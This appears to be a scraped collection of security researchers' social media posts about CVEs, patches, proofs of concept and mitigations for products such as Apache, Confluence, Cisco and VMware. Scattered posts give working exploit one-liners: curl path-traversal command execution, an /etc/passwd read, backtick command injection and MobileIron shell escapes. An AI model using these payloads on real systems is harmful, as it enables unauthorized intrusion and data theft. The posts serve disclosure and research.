Log4j maintainers have been working sleeplessly on mitigation measures; fixes, docs, CVE, replies to inquiries, etc. Yet nothing is stopping people to bash us, for work we aren't paid for, for a feature we all dislike yet needed to keep due to backward compatibility concerns.
A few months ago, I collaborated with
@HusseiN98D
to find critical vulnerabilities in a bank. It involved finding a 0day in dotCMS. You can read about the discovery and exploitation process here:
The workaround for Pulse Secure CVE-2021-22893 blocks the following URI patterns:
^/+dana/+meeting
^/+dana/+fb/+smb
^/+dana-cached/+fb/+smb
^/+dana-ws/+namedusers
^/+dana-ws/+metric
So not much more than we already know, but at least these are the specific patterns, AFAICT.
As promised, here's a pic of the Poc for CVE-2023-35036 (Progress MOVEit Transfer). As soon as I can get RCE, I'll upload the final PoC to github. Any ideas/suggestions are welcomed!
This is my last week at Rapid7.
The past eight and a half years have been an incredible journey of growth and self-discovery, but it's time to move on and grow in new directions.
Thank you to all the peers I've had here, in particular Metasploit and ETR. You know who you are!
I just reproduced CVE-2021-38647 (unauthed root RCE in the OMI agent) using the details in the technical blog post.
<p:StdOut>uid=0(root) gid=0(root) groups=0(root)&
#10
;</p:StdOut>
🤯
🚨
#Cisco
#IOSXE
#CVE
-2023-20198
#CVE
-2023-20273
Patience is a virtue 🙂
We can confirm: New activity from IP 192.3.101[.]111 today. Our HPs 🍯 show exploit attempts on clean appl. + Implant usage e.g. "show ver" for recon.
Happy to share PCAPs, TLP:💛 ➡️ DM.
cc
@ET_Labs
I will never not like/retweet threads about command-line tips and tricks, no matter how simple or complex they are. Sharing is caring, and it's a refreshing attitude to see.
I just reproduced CVE-2021-38647 (unauthed root RCE in the OMI agent) using the details in the technical blog post.
<p:StdOut>uid=0(root) gid=0(root) groups=0(root)&
#10
;</p:StdOut>
🤯
Microsoft just patched 4 vulnerabilities we (
@wiz_io
) recently reported, including a CVSS 9.8 RCE. These vulnerabilities affect countless machines as the OMI agent is silently installed when enabling many Azure services.
#PatchTuesday
Looking at the patch for Atlassian Confluence CVE-2022-26134 on my lunch break...
- final String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
- final String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
👀
ProxyShell exploit chain analysis in AttackerKB c/o
@zeroSteiner
and
@wvuuuuuuuuuuuuu
. Exploit should be coming to a Metasploit Framework fork near you soon.🐚 Props as always to
@orange_8361
on the great research!
In September, Apache released a fix for CVE-2021-40438, a critical SSRF
#vulnerability
. Several sources now confirm they've seen exploit attempts in the wild – learn more and find mitigation guidance:
A familiar pattern is revealed in VMware vCenter Server CVE-2021-21985/CVE-2021-21986...
+ <filter-mapping>
+ <filter-name>authenticationFilter</filter-name>
+ <url-pattern>/rest/*</url-pattern>
+ </filter-mapping>
My notes on Atlassian Confluence CVE-2021-26084 are posted here. A vuln check, RCE PoC, and log IOCs are included. Many thanks to
@catc0n
for writing words.
Here's how to run full commands with arguments via CVE-2021-41773 via a path traversal vulnerability in the event mod-cgi is enabled on Apache 2.4.49
curl --data "A=|id>>/tmp/x;uname\$IFS-a>>/tmp/x" '
http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
-vv
Patch urgently.
PSA: curl can do variables. Example using Nexus CVE-2024-4956:
curl -v --variable hax=////../../../../etc/passwd --expand-url
http://127.0.0.2:8081/{{hax:url}}
Takeover an entire domain by resetting passwords! We detailed how to exploit CVE-2021-40539 on ManageEngine ADSelfService Plus in this blogpost
@acervoise
-
@tiyeuse
Last Friday we passed our POC to
@GreyNoiseIO
to build early detections. With reports of exploitation and multiple POCs now public here ours is. Advise to apply mitigations or patch immediately.
#f5
#CyberSecurity
🔥 Veeam fixed an Unauth RCE (CVE-2022-26500, CVE-2022-26501) in Veeam Backup & Replication and a Local Privilege Escalation (CVE-2022-26503) in Veeam Agent for Microsoft Windows found by our researcher
@ultrayoba
.
Advisory:
Nothing special, but here are a couple MobileIron management shell escapes if you need 'em:
install rpm url
http://127.0.0.1/;sh
install rpm info detail -E%{lua:rpm.interactive()}
Retweeting this, since not too many people know about it. It's useful for debugging exploits, converting a module back into a PoC, and for building detections.
This is my last week at Rapid7.
The past eight and a half years have been an incredible journey of growth and self-discovery, but it's time to move on and grow in new directions.
Thank you to all the peers I've had here, in particular Metasploit and ETR. You know who you are!
The Rapid7 team has a root cause analysis of Confluence CVE-2022-26134 out now with thanks to
@Junior_Baines
. This is an emergency mitigation situation.
Apache CouchDB EPMD port:4369/TCP in ZoomEye About 81,154 results (Nearly year: 81,154 results) Of course, there has been an RCE vulnerability caused by default cookies in this protocol recently (CVE-2022-24706)
When you come across an Unauth RCE CVE with no public details, what do you do? Justin Kennedy (
@jstnkndy
) shares his adventure, both failures and successes, in uncovering the mysteries of CVE-2020-25223 in this writeup:
CVE-2024-0692 The SolarWinds Security Event Manager was susceptible to Remote Code Execution Vulnerability. This vulnerability allows an unauthenticated user to abuse SolarWinds’ ser…
The full RCE chain for CVE-2021-21975 + CVE-2021-21983 might just fit in a tweet... FYI, I first tested 8.3.0, which is vulnerable to the SSRF but didn't seem exploitable for creds. YMMV, but I wasted time on it, lol. Great find, Egor and PT!
VMware fixed CVE-2021-21975 and CVE-2021-21983, which when chained together lead to an unauth RCE in vRealize Operations.
The vulnerabilities were found by our researcher Egor Dimitrenko.
Advisory:
(WIP) VMware vCenter Server CVE-2021-21972 exploit dropping today in
@metasploit
. Please patch. This is a critical vuln, and exploits are readily available.
Check out a recent finding by one of our own, Naveen Sunkavally. CVE-2022-28219 is an unauth RCE for ManageEngine ADAudit Plus.
This XXE -> Deserialization chain often leads to host compromise as well as priv'd AD creds. Check out the blog post and POC:
Analysis, PoCs, and IOCs for Cisco HyperFlex HX Data Platform CVE-2021-1497/CVE-2021-1498 and CVE-2021-1499. Another great find from
@ptswarm
.
curl -v
http://192.168.123.133/storfs-asup
-d 'action=&token=`id`&mode=`id`'
Cisco fixed two Unauth RCEs and an Arbitrary File Upload in HyperFlex HX Data Platform found by our researchers Nikita Abramov and Mikhail Klyuchnikov.
CVE-2021-1497
CVE-2021-1498
CVE-2021-1499
Advisory:
Seriously good advice.
I read man pages on flights when I don't have internet access.
You can learn so much from the manual. Read it, even if you don't "need" it.
TIL how to "sniff" a UNIX domain socket:
# mv /var/run/sock /var/run/sock.original
# socat -t100 -x -v UNIX-LISTEN:/var/run/sock,mode=777,reuseaddr,fork UNIX-CONNECT:/var/run/sock.original
(This might mess up the thing using the socket though :) )